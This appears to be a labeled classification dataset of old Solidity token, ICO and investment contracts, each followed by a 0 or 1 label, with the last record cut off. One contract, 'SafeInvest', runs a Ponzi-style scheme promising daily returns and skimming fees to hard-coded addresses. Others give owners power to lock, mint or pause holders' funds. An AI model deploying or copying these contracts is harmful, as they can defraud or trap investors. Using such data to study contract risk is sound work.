pragma solidity ^0.4.11; library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value); function approve(address spender, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; modifier onlyPayloadSize(uint256 size) { require(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint256 _value) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract MigrationAgent { function migrateFrom(address _from, uint256 _value); } contract VotesPlatformToken is StandardToken, Ownable { string public name = "Votes Platform Token"; string public symbol = "VOTES"; uint256 public decimals = 2; uint256 public INITIAL_SUPPLY = 100000000 * 100; mapping(address => bool) refundAllowed; address public migrationAgent; uint256 public totalMigrated; function VotesPlatformToken() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } function allowRefund(address _contractAddress) onlyOwner { refundAllowed[_contractAddress] = true; } function refundPresale(address _from, uint _count) { require(refundAllowed[msg.sender]); balances[_from] = balances[_from].sub(_count); balances[msg.sender] = balances[msg.sender].add(_count); } function setMigrationAgent(address _agent) external onlyOwner { migrationAgent = _agent; } function migrate(uint256 _value) external { require(migrationAgent != 0); require(_value > 0); require(_value <= balances[msg.sender]); balances[msg.sender] -= _value; totalSupply -= _value; totalMigrated += _value; MigrationAgent(migrationAgent).migrateFrom(msg.sender, _value); } } contract VotesPlatformTokenPreSale is Ownable { using SafeMath for uint; string public name = "Votes Platform Token ICO"; VotesPlatformToken public token; address public beneficiary; uint public hardCap; uint public softCap; uint public tokenPrice; uint public purchaseLimit; uint public tokensSold = 0; uint public weiRaised = 0; uint public investorCount = 0; uint public weiRefunded = 0; uint public startTime; uint public endTime; bool public softCapReached = false; bool public crowdsaleFinished = false; mapping(address => uint) sold; event GoalReached(uint amountRaised); event SoftCapReached(uint softCap1); event NewContribution(address indexed holder, uint256 tokenAmount, uint256 etherAmount); event Refunded(address indexed holder, uint256 amount); modifier onlyAfter(uint time) { require(now >= time); _; } modifier onlyBefore(uint time) { require(now <= time); _; } function VotesPlatformTokenPreSale( uint _hardCapUSD, uint _softCapUSD, address _token, address _beneficiary, uint _totalTokens, uint _priceETH, uint _purchaseLimitUSD, uint _startTime, uint _duration ) { hardCap = _hardCapUSD * 1 ether / _priceETH; softCap = _softCapUSD * 1 ether / _priceETH; tokenPrice = hardCap / _totalTokens; purchaseLimit = _purchaseLimitUSD * 1 ether / _priceETH / tokenPrice; token = VotesPlatformToken(_token); beneficiary = _beneficiary; startTime = _startTime; endTime = _startTime + _duration * 1 hours; } function () payable { require(msg.value / tokenPrice > 0); doPurchase(msg.sender); } function refund() external onlyAfter(endTime) { require(!softCapReached); uint balance = sold[msg.sender]; require(balance > 0); uint refund = balance * tokenPrice; msg.sender.transfer(refund); delete sold[msg.sender]; weiRefunded = weiRefunded.add(refund); token.refundPresale(msg.sender, balance); Refunded(msg.sender, refund); } function withdrawTokens() onlyOwner onlyAfter(endTime) { token.transfer(beneficiary, token.balanceOf(this)); } function withdraw() onlyOwner { require(softCapReached); beneficiary.transfer(weiRaised); token.transfer(beneficiary, token.balanceOf(this)); crowdsaleFinished = true; } function doPurchase(address _to) private onlyAfter(startTime) onlyBefore(endTime) { assert(crowdsaleFinished == false); require(weiRaised.add(msg.value) <= hardCap); if (!softCapReached && weiRaised < softCap && weiRaised.add(msg.value) >= softCap) { softCapReached = true; SoftCapReached(softCap); } uint tokens = msg.value / tokenPrice; require(token.balanceOf(_to) + tokens <= purchaseLimit); if (sold[_to] == 0) investorCount++; token.transfer(_to, tokens); sold[_to] += tokens; tokensSold = tokensSold.add(tokens); weiRaised = weiRaised.add(msg.value); NewContribution(_to, tokens, msg.value); if (weiRaised == hardCap) { GoalReached(hardCap); } } }
0
722
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract AS is ERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) private allowed; uint256 private totalSupply_ = 110000000 * 10**8; string public constant name = "AmaStar"; string public constant symbol = "AS"; uint8 public constant decimals = 8; mapping (address => uint) lockupTime; mapping (address => uint) lockupAmount; bool private teamGotMoney = false; function lock(address _victim, uint _value, uint _periodSec) public onlyOwner { lockupAmount[_victim] = 0; lockupTime[_victim] = 0; lockupAmount[_victim] = _value; lockupTime[_victim] = block.timestamp.add(_periodSec); } function unlock(address _luckier) external onlyOwner { lockupAmount[_luckier] = 0; lockupTime[_luckier] = 0; } constructor() public { balances[msg.sender] = totalSupply_; } function transferAndLockToTeam(address _team1year, address _team6months, address _operations1year, address _operations9months, address _operations6months, address _operations3months) external onlyOwner { require(!teamGotMoney); teamGotMoney = true; transfer(_team1year, 10000000 * 10**8); transfer(_team6months, 6500000 * 10**8); lock(_team1year, 10000000 * 10**8, 365 * 1 days); lock(_team6months, 6500000 * 10**8, 182 * 1 days); transfer(_operations1year, 2750000 * 10**8); transfer(_operations9months, 2750000 * 10**8); transfer(_operations6months, 2750000 * 10**8); transfer(_operations3months, 2750000 * 10**8); lock(_operations1year, 2750000 * 10**8, 365 * 1 days); lock(_operations9months, 2750000 * 10**8, 273 * 1 days); lock(_operations6months, 2750000 * 10**8, 182 * 1 days); lock(_operations3months, 2750000 * 10**8, 91 * 1 days); } function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); if (lockupAmount[msg.sender] > 0) { if (block.timestamp <= lockupTime[msg.sender]) { require(balances[msg.sender].sub(lockupAmount[msg.sender]) >= _value); } } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); if (lockupAmount[_from] > 0) { if (now <= lockupTime[_from]) { require(balances[_from].sub(lockupAmount[_from]) >= _value); } } balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function _burn(address _account, uint256 _amount) internal { require(_account != 0); require(_amount <= balances[_account]); totalSupply_ = totalSupply_.sub(_amount); balances[_account] = balances[_account].sub(_amount); emit Transfer(_account, address(0), _amount); } function _burnFrom(address _account, uint256 _amount) internal { require(_amount <= allowed[_account][msg.sender]); allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount); _burn(_account, _amount); } } contract Crowdsale is Ownable { using SafeMath for uint256; address public multisig; AS public token; uint rate; uint rateInUsd; uint priceETH; uint indCap; event Purchased(address _buyer, uint _amount, string _type); function setIndCap(uint _indCapETH) public onlyOwner { indCap = _indCapETH; } function getIndCapInETH() public view returns(uint) { return indCap; } function setPriceETH(uint _newPriceETH) external onlyOwner { setRate(_newPriceETH); } function setRate(uint _priceETH) internal { require(_priceETH != 0); priceETH = _priceETH; rate = rateInUsd.mul(1 ether).div(_priceETH); } function getPriceETH() public view returns(uint) { return priceETH; } constructor() public { } function() external payable { } function finalizeICO(address _owner) external onlyOwner { require(_owner != address(0)); uint balance = token.balanceOf(this); token.transfer(_owner, balance); } function getMyBalanceAS() external view returns(uint256) { return token.balanceOf(msg.sender); } } contract whitelistICO is Crowdsale { uint periodWhitelist; uint startWhitelist; uint public bonuses1; mapping (address => bool) whitelist; function addToWhitelist(address _newMember) external onlyOwner { require(_newMember != address(0)); whitelist[_newMember] = true; } function removeFromWhitelist(address _member) external onlyOwner { require(_member != address(0)); whitelist[_member] = false; } function addListToWhitelist(address[] _addresses) external onlyOwner { for (uint i = 0; i < _addresses.length; i++) { whitelist[_addresses[i]] = true; } } function removeListFromWhitelist(address[] _addresses) external onlyOwner { for (uint i = 0; i < _addresses.length; i++) { whitelist[_addresses[i]] = false; } } constructor(address _AS, address _multisig, uint _priceETH, uint _startWhiteListUNIX, uint _periodWhitelistSEC, uint _indCap) public { require(_AS != 0 && _priceETH != 0); token = AS(_AS); multisig = _multisig; bonuses1 = 50; startWhitelist = _startWhiteListUNIX; periodWhitelist = _periodWhitelistSEC; rateInUsd = 10; setRate(_priceETH); setIndCap(_indCap); } function extendPeriod(uint _days) external onlyOwner { periodWhitelist = periodWhitelist.add(_days.mul(1 days)); } function() external payable { buyTokens(); } function buyTokens() public payable { require(block.timestamp > startWhitelist && block.timestamp < startWhitelist.add(periodWhitelist)); if (indCap > 0) { require(msg.value <= indCap.mul(1 ether)); } require(whitelist[msg.sender]); uint256 totalAmount = msg.value.mul(1 ether).mul(10^8).div(rate).add(msg.value.mul(1 ether).mul(10**8).mul(bonuses1).div(100).div(rate)); uint256 balance = token.balanceOf(this); if (totalAmount > balance) { uint256 cash = balance.mul(rate).mul(100).div(100 + bonuses1).div(10**8).div(1 ether); uint256 cashBack = msg.value.sub(cash); multisig.transfer(cash); msg.sender.transfer(cashBack); token.transfer(msg.sender, balance); emit Purchased(msg.sender, balance, "WhiteList"); return; } multisig.transfer(msg.value); token.transfer(msg.sender, totalAmount); emit Purchased(msg.sender, totalAmount, "WhiteList"); } } contract preICO is Crowdsale { uint public bonuses2; uint startPreIco; uint periodPreIco; constructor(address _AS, address _multisig, uint _priceETH, uint _startPreIcoUNIX, uint _periodPreIcoSEC, uint _indCap) public { require(_AS != 0 && _priceETH != 0); token = AS(_AS); multisig = _multisig; bonuses2 = 20; startPreIco = _startPreIcoUNIX; periodPreIco = _periodPreIcoSEC; rateInUsd = 10; setRate(_priceETH); setIndCap(_indCap); } function extendPeriod(uint _days) external onlyOwner { periodPreIco = periodPreIco.add(_days.mul(1 days)); } function() external payable { buyTokens(); } function buyTokens() public payable { require(block.timestamp > startPreIco && block.timestamp < startPreIco.add(periodPreIco)); if (indCap > 0) { require(msg.value <= indCap.mul(1 ether)); } uint256 totalAmount = msg.value.mul(10**8).div(rate).add(msg.value.mul(10**8).mul(bonuses2).div(100).div(rate)); uint256 balance = token.balanceOf(this); if (totalAmount > balance) { uint256 cash = balance.mul(rate).mul(100).div(100 + bonuses2).div(10**8); uint256 cashBack = msg.value.sub(cash); multisig.transfer(cash); msg.sender.transfer(cashBack); token.transfer(msg.sender, balance); emit Purchased(msg.sender, balance, "PreICO"); return; } multisig.transfer(msg.value); token.transfer(msg.sender, totalAmount); emit Purchased(msg.sender, totalAmount, "PreICO"); } } contract mainICO is Crowdsale { uint startIco; uint periodIco; constructor(address _AS, address _multisig, uint _priceETH, uint _startIcoUNIX, uint _periodIcoSEC, uint _indCap) public { require(_AS != 0 && _priceETH != 0); token = AS(_AS); multisig = _multisig; startIco = _startIcoUNIX; periodIco = _periodIcoSEC; rateInUsd = 10; setRate(_priceETH); setIndCap(_indCap); } function extendPeriod(uint _days) external onlyOwner { periodIco = periodIco.add(_days.mul(1 days)); } function() external payable { buyTokens(); } function buyTokens() public payable { require(block.timestamp > startIco && block.timestamp < startIco.add(periodIco)); if (indCap > 0) { require(msg.value <= indCap.mul(1 ether)); } uint256 amount = msg.value.mul(10**8).div(rate); uint256 balance = token.balanceOf(this); if (amount > balance) { uint256 cash = balance.mul(rate).div(10**8); uint256 cashBack = msg.value.sub(cash); multisig.transfer(cash); msg.sender.transfer(cashBack); token.transfer(msg.sender, balance); emit Purchased(msg.sender, balance, "MainICO"); return; } multisig.transfer(msg.value); token.transfer(msg.sender, amount); emit Purchased(msg.sender, amount, "MainICO"); } }
0
951
pragma solidity ^0.5.0; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } contract Pausable is Ownable { event Pause(); event Unpause(); event NotPausable(); bool public paused = false; bool public canPause = true; modifier whenNotPaused() { require(!paused || msg.sender == owner); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { require(canPause == true); paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { require(paused == true); paused = false; emit Unpause(); } function notPausable() onlyOwner public{ paused = false; canPause = false; emit NotPausable(); } } contract sdcoin is StandardToken, Pausable { string public constant NAME = "SDCOIN"; string public constant SYMBOL = "SDC"; uint256 public constant DECIMALS = 18; uint256 public constant INITIAL_SUPPLY = 3500000000 * 10**18; function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
1
3,600
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TokenControl { address public ceoAddress; address public cfoAddress; address public cooAddress; bool public enablecontrol = true; modifier onlyCEO() { require(msg.sender == ceoAddress); _; } modifier onlyCFO() { require(msg.sender == cfoAddress); _; } modifier onlyCOO() { require(msg.sender == cooAddress); _; } modifier whenNotPaused() { require(enablecontrol); _; } function setCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } function setCFO(address _newCFO) external onlyCEO { require(_newCFO != address(0)); cfoAddress = _newCFO; } function setCOO(address _newCOO) external onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } function enableControl(bool _enable) public onlyCEO{ enablecontrol = _enable; } } contract StandardToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken, TokenControl { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) onlyCOO whenNotPaused public { _burn(_value); } function _burn( uint256 _value) internal { require(_value <= balances[cfoAddress]); balances[cfoAddress] = balances[cfoAddress].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(cfoAddress, _value); emit Transfer(cfoAddress, address(0), _value); } } contract MintableToken is StandardToken, TokenControl { event Mint(address indexed to, uint256 amount); function mint(uint256 _value) onlyCOO whenNotPaused public { _mint(_value); } function _mint( uint256 _value) internal { balances[cfoAddress] = balances[cfoAddress].add(_value); totalSupply_ = totalSupply_.add(_value); emit Mint(cfoAddress, _value); emit Transfer(address(0), cfoAddress, _value); } } contract PausableToken is StandardToken, TokenControl { bool public transferEnabled = true; function enableTransfer(bool _enable) public onlyCEO{ transferEnabled = _enable; } modifier transferAllowed() { assert(transferEnabled); _; } function transfer(address _to, uint256 _value) public transferAllowed() returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public transferAllowed() returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public transferAllowed() returns (bool) { return super.approve(_spender, _value); } } contract BABA is BurnableToken, MintableToken, PausableToken { string public name; string public symbol; uint8 public decimals; constructor(address _ceoAddress, address _cfoAddress, address _cooAddress) public { name = "T-BABA"; symbol = "T-BABA"; decimals = 8; ceoAddress = _ceoAddress; cfoAddress = _cfoAddress; cooAddress = _cooAddress; totalSupply_ = 5000; balances[cfoAddress] = totalSupply_; } function() payable public { } }
1
2,262
pragma solidity 0.4.25; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract SafeInvest { using SafeMath for uint; address public owner; address marketing = 0x906Bd47Fcf07F82B98F28d1e572cA8D2273AA7CD; address admin = 0x1675bEACF5EB5e4e5955121b411Cd3Bc175989a8; mapping (address => uint) deposit; mapping (address => uint) checkpoint; mapping (address => bool) commission; mapping (address => address) referrers; event LogInvestment(address indexed _addr, uint _value); event LogPayment(address indexed _addr, uint _value); event LogReferralPayment(address indexed _referral, address indexed _referrer, uint _value); constructor() public { owner = msg.sender; } function renounceOwnership() external { require(msg.sender == owner); owner = 0x0; } function bytesToAddress(bytes _source) internal pure returns(address parsedreferrer) { assembly { parsedreferrer := mload(add(_source,0x14)) } return parsedreferrer; } function() external payable { if (msg.value >= 0 && msg.value < 0.0000002 ether) { withdraw(0); } else if (msg.value == 0.0000002 ether){ moneyBack(); } else { invest(); } } function invest() public payable { require(msg.value >= 0.01 ether); if (deposit[msg.sender] > 0) { withdraw(msg.value); } if (msg.data.length == 20) { address _referrer = bytesToAddress(bytes(msg.data)); if (_referrer != msg.sender) { referrers[msg.sender] = _referrer; } } checkpoint[msg.sender] = block.timestamp; deposit[msg.sender] = deposit[msg.sender].add(msg.value); emit LogInvestment(msg.sender, msg.value); } function withdraw(uint _msgValue) internal { if (!commission[msg.sender]) { firstWithdraw(deposit[msg.sender]+_msgValue); } else if (_msgValue > 0) { payCommissions(_msgValue); } uint _payout = getPayout(msg.sender); if (_payout > 0) { msg.sender.transfer(_payout); emit LogPayment(msg.sender, _payout); } checkpoint[msg.sender] = block.timestamp; } function firstWithdraw(uint _deposit) internal { commission[msg.sender] = true; payCommissions(_deposit); } function moneyBack() internal { require(!commission[msg.sender]); require(deposit[msg.sender] > 0); require((block.timestamp.sub(checkpoint[msg.sender])).div(7 days) < 7); msg.sender.transfer(deposit[msg.sender]); deposit[msg.sender] = 0; commission[msg.sender] = false; } function payCommissions(uint _deposit) internal { uint _admFee = _deposit.mul(3).div(100); uint _marketingFee = _deposit.div(10); if (referrers[msg.sender] > 0) { uint _refFee = _deposit.mul(5).div(100); referrers[msg.sender].transfer(_refFee); emit LogReferralPayment(msg.sender, referrers[msg.sender], _refFee); } admin.transfer(_admFee); marketing.transfer(_marketingFee); } function getPayout(address _address) public view returns(uint) { uint rate = getInterest(_address); return (deposit[_address].mul(rate).div(100)).mul(block.timestamp.sub(checkpoint[_address])).div(1 days); } function getInterest(address _address) internal view returns(uint) { if (deposit[_address]<= 3 ether) { return 4; } else if (deposit[_address] <= 6 ether) { return 5; } else { return 6; } } }
0
989
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract AbstractERC20 { uint256 public totalSupply; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); } contract Owned { address public owner; address public newOwner; event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner); constructor() public { owner = msg.sender; } modifier ownerOnly { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public ownerOnly { require(_newOwner != owner); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TydoIco is Owned { using SafeMath for uint256; uint256 public constant COINS_PER_ETH = 12000; mapping (address => uint256) public balances; mapping (address => uint256) ethBalances; uint256 public ethCollected; uint256 public tokenSold; uint256 constant tokenDecMult = 1 ether; uint8 public state = 0; uint256[] public bonuses; uint256[] public bonusEnds; AbstractERC20 public token; event SaleStart(); event SaleClosedSuccess(uint256 _tokenSold); event SaleClosedFail(uint256 _tokenSold); constructor(address _coinToken, uint256[] _bonuses, uint256[] _bonusEnds) Owned() public { require(_bonuses.length == _bonusEnds.length); for(uint8 i = 0; i < _bonuses.length; i++) { require(_bonuses[i] > 0); if (i > 0) { } } bonuses = _bonuses; bonusEnds = _bonusEnds; token = AbstractERC20(_coinToken); } function tokensLeft() public view returns (uint256 allowed) { return token.allowance(address(owner), address(this)); } function () payable public { if ((state == 3 || state == 4) && msg.value == 0) { return withdrawTokens(); } else if (state == 2 && msg.value == 0) { return refund(); } else { return buy(); } } function buy() payable public { require (canBuy()); uint amount = msg.value.mul(COINS_PER_ETH).div(1 ether).mul(tokenDecMult); amount = addBonus(amount); require(amount > 0, 'amount must be positive'); token.transferFrom(address(owner), address(this), amount); balances[msg.sender] = 